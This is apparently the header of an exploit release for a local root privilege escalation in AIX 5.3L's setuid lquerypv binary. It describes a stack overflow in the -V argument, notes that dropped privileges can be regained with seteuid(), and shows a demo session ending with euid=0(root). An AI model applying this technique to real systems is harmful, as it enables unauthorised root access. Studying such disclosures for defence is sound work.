AIX 5.3L /usr/sbin/lquerypv Local Root Privilege Escalation Exploit

/*AIX 5.3L /usr/sbin/lquerypv local root privilege escalation 
* ===========================================================
* AIX5.3L includes a setuid root binary "lquerypv" which contains a stack-based
* overflow in the handling of -V command line argument. However, prior to the 
* vulnerability being triggered the binary drops privileges. On AIX you can 
* restore the dropped privileges using seteuid() which results in a local root
* LPE vulnerability.
* 
* e.g
* bash-4.4$ ls -al `which lquerypv`;id;uname -a;oslevel
* -r-sr-xr-x   1 root     system        27160 Apr 28 2006  /usr/sbin/lquerypv
* uid=202(user) gid=1(staff)
* AIX aix53l 3 5 000772244C00
* 5.3.0.0
* bash-4.4$ ./aix53l-lquerypv
* [ AIX 5.3L /usr/sbin/lquerypv local root privilege escalation exploit
* # id
* uid=202(user) gid=1(staff) euid=0(root)
